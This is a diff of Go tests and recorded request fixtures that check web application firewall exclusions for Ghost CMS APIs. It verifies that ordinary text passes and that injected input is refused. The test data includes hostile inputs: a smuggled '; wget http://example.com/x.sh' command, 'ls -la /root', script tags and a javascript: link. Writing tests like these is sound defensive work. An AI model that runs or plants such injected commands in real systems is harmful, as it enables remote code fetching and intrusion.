for _, f := range ghostAddressFields {
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
wantGhostField(t, f, address, false)
}
}
for _, domain := range ghostDomains {
for _, f := range ghostDomainFields {
wantGhostField(t, f, domain, false)
}
}
for _, f := range ghostArticleFields {
wantGhostField(t, f, ghostArticle, false)
}
@@ -457,6 +551,12 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
}
wantGhostField(t, ghostNewComment, ghostComment, false)
wantGhostField(
t,
ghostField{http.MethodPost, ghostNote, ghostNoteImage},
"A terminal running ls -la on .htaccess with python3",
false,
)
wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
url.QueryEscape(
@@ -466,11 +566,42 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
}
// ghostAttacks are an SQL injection, a path traversal and a script
// injection, not escaped.
// ghostWidget is an HTML card that embeds a widget with its script.
const ghostWidget = `<div id="signup"></div>` +
`<script src="https://widgets.example.com/form.js" async></script>`
// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
`"html":"<div id=\"signup\"></div><script ` +
`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
// ghostAnalytics is code injection that loads analytics.
const ghostAnalytics = `<script defer ` +
`src="https://analytics.example.com/script.js"></script>`
func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
t.Parallel()
// An HTML card in a post, as the editor saves it, and as integrations
// send it.
wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
for _, f := range ghostPostFields {
wantGhostField(t, f, ghostWidget, false)
}
// Site code injection, saved in settings, and a post's, a page's or a
// tag's own.
for _, f := range ghostCodeFields {
wantGhostField(t, f, ghostAnalytics, false)
}
}
// ghostAttacks are an SQL injection and a path traversal, not escaped.
//
//nolint:gochecknoglobals // a constant cannot be a list
var ghostAttacks = []string{injection, pathTraversal, scriptTag}
var ghostAttacks = []string{injection, pathTraversal}
// commandAfterASeparator is a shell command after a ";", not escaped.
const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -480,6 +611,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
for _, attack := range ghostAttacks {
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields, ghostURLFields,
ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, attack, true)
}
@@ -489,16 +621,30 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
// A script injection stays refused in every field that does not take a
// <script> element.
for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
ghostHandleFields, ghostDomainFields, ghostURLFields,
ghostSnippetAndNewsletterFooterFields) {
wantGhostField(t, f, scriptTag, true)
}
for _, target := range ghostQueryFields {
wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
}
// A command after a separator stays refused wherever 932235 does not
// misfire: in the addresses, search, url, email_segment and email. The
// plain text, filter and the analytics' fields skip 932235, which
// refuses "powershell & python3" as it refuses this.
for _, f := range ghostAddressFields {
// misfire: in the addresses, handles, the domain, ghostURLFields, search,
// url, pathname, email_segment and email. The other fields skip 932235,
// which refuses "powershell & python3" as it refuses this.
for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
ghostDomainFields, ghostURLFields) {
wantGhostField(t, f, commandAfterASeparator, true)
}
for _, target := range []string{
ghostSearch, ghostEmbed, ghostSegment, ghostInvitedEmail,
ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
ghostInvitedEmail,
} {
wantGhostQuery(
t,
@@ -516,15 +662,20 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
true,
)
// The articles and code injection carry HTML on purpose, but a script
// element and a javascript: link are still refused there.
// The articles and code injection carry HTML on purpose, but a
// javascript: link is still refused there, and a script element in
// snippets and a newsletter's footer.
for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
}
// An address keeps 932250, which refuses a listing of files.
for _, f := range ghostAddressFields {
for _, f := range ghostSnippetAndNewsletterFooterFields {
wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
}
// An address and the domain keep 932250, which refuses a listing of
// files. A handle keeps it too, but its @ comes before any command.
for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
wantGhostField(t, f, "ls -la /root", true)
}
}
@@ -532,16 +683,34 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
func TestGhostTwoCommandNamesPass(t *testing.T) {
t.Parallel()
for _, f := range ghostTextFields {
wantGhostField(t, f, ghostCommandNames, false)
// The site's title, saved through settings.
siteTitle := ghostField{
http.MethodPut,
ghostSettings,
`{"settings":[{"key":"title","value":"VALUE"}]}`,
}
wantGhostField(t, siteTitle, ghostCommandNames, false)
// filter as the admin's post picker writes it, after a person types a
// title that joins two command names.
// Values that join two command names, as a person types them.
for _, typed := range []string{
ghostCommandNames, "python3 & powershell", "powershell & ls -la",
"ls -la & python3",
} {
for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
wantGhostField(t, f, typed, false)
}
wantGhostImportLabel(t, ghostImport, typed, false)
for _, target := range slices.Concat(
ghostAnalyticsFilters,
[]string{ghostAccountSearch},
) {
wantGhostQuery(t, target+url.QueryEscape(typed), false)
}
// filter as the admin's post picker writes it, after a person types
// such a title.
filter := "status:published+title:~'" + typed + "'"
wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
}
@@ -557,16 +726,21 @@ func TestGhostOrdinaryQueriesPass(t *testing.T) {
value, _ := url.QueryUnescape(encoded)
text := url.QueryEscape("Notes on " + value + " & tidy files")
wantGhostQuery(
t,
ghostPathname+url.QueryEscape("/"+value+"/"),
false,
)
wantGhostQuery(t, ghostSource+encoded, false)
for _, target := range ghostAnalyticsFilters {
wantGhostQuery(t, target+encoded, false)
}
wantGhostQuery(t, ghostCampaign+text, false)
wantGhostQuery(t, ghostAccountSearch+text, false)
}
// pathname, the page the analytics show: a post and two tag pages.
for _, path := range []string{
"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
} {
wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
}
wantGhostQuery(
t,
ghostCampaign+url.QueryEscape(ghostCommandNames),
@@ -704,6 +878,47 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
}
}
func TestGhostScriptExclusionIsNarrow(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A <script> element keeps 941110 off the Admin API, in fields that do
// not take one, and when the query has a field of the same name. 941100
// and 941160 refuse each request too, so the test looks for 941110
// itself.
const (
script = `<script defer src=\"/script.js\"></script>`
scriptInPost = `{"posts":[{"lexical":"` + script + `"}]}`
scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
scriptInTag = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
)
for _, refused := range []struct{ target, body string }{
{"/ghost/api/content/posts/", scriptInPost},
{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
{"/api/settings/", scriptInSettings},
{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
{ghostPosts, scriptInTag},
{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
got, _ := inspectBody(t, crs, r, refused.body)
if got.Score < ghostThreshold ||
!slices.Contains(got.RuleIDs, 941110) {
t.Errorf(
"PUT %s %s: %+v, want 941110 among them",
refused.target,
refused.body,
got,
)
}
}
}
func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
t.Parallel()
@@ -731,20 +946,26 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
}
// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
// fields that 900370 to 900378 name, as TestGhostExclusionsAreNarrow checks
// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
// the others: each keeps its rules on another path, and when the query has
// a field of the same name.
func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const (
bio = `{"users":[{"bio":"python3"}]}`
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
content = `{"content":"python3"}`
accountBio = `{"bio":"python3"}`
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
bio = `{"users":[{"bio":"python3"}]}`
comment = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
content = `{"content":"python3"}`
altText = `{"image":{"altText":"python3"}}`
accountBio = `{"bio":"python3"}`
invited = `{"invites":[{"email":"python3.dev@example.com"}]}`
accepted = `{"invitation":[{"email":"python3.dev@example.com"}]}`
sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
actorURI = `{"actorUri":"https://example.com/users/powershell"}`
targetHandle = `{"targetHandle":"@powershell@example.com"}`
domain = `{"domain":"python3.example.com"}`
tagCode = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
tagURL = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
)
for _, refused := range []struct{ target, body string }{
@@ -755,14 +976,26 @@ func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
{ghostComments + "?json.comments.0.html=x", comment},
{ghostAccount, content},
{ghostNote + "?json.content=x", content},
{ghostAccount, altText},
{ghostNote + "?json.image.altText=x", altText},
{ghostNote, accountBio},
{ghostAccount + "?json.bio=x", accountBio},
{ghostPosts, invited},
{ghostInvites + "?json.invites.0.email=x", invited},
{ghostInvites, accepted},
{ghostInvitation + "?json.invitation.0.email=x", accepted},
{ghostMigration, sourceHandle},
{ghostAliases + "?json.sourceHandle=x", sourceHandle},
{ghostMigration, actorURI},
{ghostAliases + "?json.actorUri=x", actorURI},
{ghostAliases, targetHandle},
{ghostMigration + "?json.targetHandle=x", targetHandle},
{ghostAccount, domain},
{ghostDomain + "?json.domain=x", domain},
{ghostPosts, tagCode},
{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
{ghostPosts, tagURL},
{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
} {
r := request{http.MethodPut, refused.target, []string{jsonBody}}
+1 -1
View File
@@ -776,7 +776,7 @@
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 699", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/python3/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 &amp; powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
+9 -4
View File
@@ -93,10 +93,15 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
},
)
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
bytes.NewReader(make([]byte, tc.size))))
if got.status != http.StatusRequestEntityTooLarge {
t.Errorf("answered %+v, want 413", got)
// The visitor sends no Connection: close, so Go's server reads the rest
// of the body before it closes the connection. Closed with the rest
// unread, the connection is reset while the visitor still sends.
conn := dial(t, addr)
send(t, conn, post+announcedLength(tc.size)+
strings.Repeat("x", tc.size))
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
t.Errorf("status %d, want 413", status)
}
if asked := standIn.question(t); len(asked.body) != tc.asked {